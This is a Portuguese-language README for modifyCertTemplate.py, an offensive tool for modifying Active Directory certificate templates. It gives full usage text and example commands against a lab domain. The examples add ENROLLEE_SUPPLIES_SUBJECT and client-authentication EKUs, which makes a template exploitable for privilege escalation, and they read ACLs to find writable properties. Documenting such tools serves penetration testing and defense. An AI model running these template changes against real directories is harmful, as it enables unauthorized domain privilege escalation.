
Modificação de modelo de certificado ADCS e enumeração de ACL
Esta ferramenta foi projetada para ajudar um operador a modificar modelos de certificado do ADCS, de modo que um estado vulnerável criado possa ser usado para elevação de privilégios (e depois redefinir o modelo para seu estado anterior). Isso é especificamente projetado para um cenário onde os direitos WriteProperty sobre um modelo foram comprometidos, mas o operador não tem certeza a quais propriedades o direito se aplica. Nesse cenário, a ACL do modelo pode ser consultada e as informações de ACE aplicáveis podem ser comparadas com GUIDs de propriedade para determinar as propriedades modificáveis.
Postagem de blog associada sobre a ferramenta e o tópico.
usage: modifyCertTemplate.py [-h] -template template name [-property property name] [-value new value] [-get-acl] [-dn distinguished name] [-raw] [-add flag name] [-debug]
[-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-ldaps]
target
Modify the attributes of an Active Directory certificate template
positional arguments:
target [[domain/]username[:password]
optional arguments:
-h, --help show this help message and exit
-template template name
Name of the target certificate template
-property property name
Name of the target template property
-value new value Value to set the specified template property to
-get-acl Print the certificate's ACEs
-dn distinguished name
Explicitly set the distinguished name of the certificate template
-raw Output the raw certificate template attributes
-add flag name Add a flag to an attribute, maintaining the existing flags
-debug Turn DEBUG output ON
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will
use the ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-ldaps Use LDAPS instead of LDAP
Consultar um modelo de certificado (todos os atributos)
python3 modifyCertTemplate.py -template KerberosAuthentication ez.lab/administrator:pass
Consultar um único atributo de um modelo de certificado
python3 modifyCertTemplate.py -template KerberosAuthentication -property msPKI-Certificate-Name-Flag ez.lab/administrator:pass
Consultar os valores brutos de todos os atributos do modelo
python3 modifyCertTemplate.py -template KerberosAuthentication -raw ez.lab/administrator:pass
Consultar a ACL de um modelo de certificado
python3 modifyCertTemplate.py -template KerberosAuthentication -get-acl ez.lab/administrator:pass
Embora não relacionado a modelos de certificado, a ACL de qualquer objeto pode ser consultada fornecendo o nome distinto do objeto
python3 modifyCertTemplate.py -dn "CN=ws1,CN=computers,DC=ez,DC=lab" -get-acl ez.lab/administrator:pass
Adicionar a flag ENROLLEE_SUPPLIES_SUBJECT à propriedade msPKI-Certificate-Name-Flag do modelo
python3 modifyCertTemplate.py -template KerberosAuthentication -add enrollee_supplies_subject -property msPKI-Certificate-Name-Flag ez.lab/administrator:pass
Atualizar o valor de um atributo do modelo de certificado (propriedades que não são listas)
python3 modifyCertTemplate.py -template KerberosAuthentication -property msPKI-Certificate-Name-Flag -value -150994944 ez.lab/administrator:pass
Adicionar um EKU à propriedade pKIExtendedKeyUsage
python3 modifyCertTemplate.py -template KerberosAuthentication -add "client authentication" -property pKIExtendedKeyUsage ez.lab/administrator:pass
Atualizar o valor de um atributo formatado como lista (ou seja, definir explicitamente o valor de pKIExtendedKeyUsage)
python3 modifyCertTemplate.py -template KerberosAuthentication -value "'1.3.6.1.5.5.7.3.4', '1.3.6.1.5.5.7.3.2'" -property pKIExtendedKeyUsage ez.lab/administrator:pass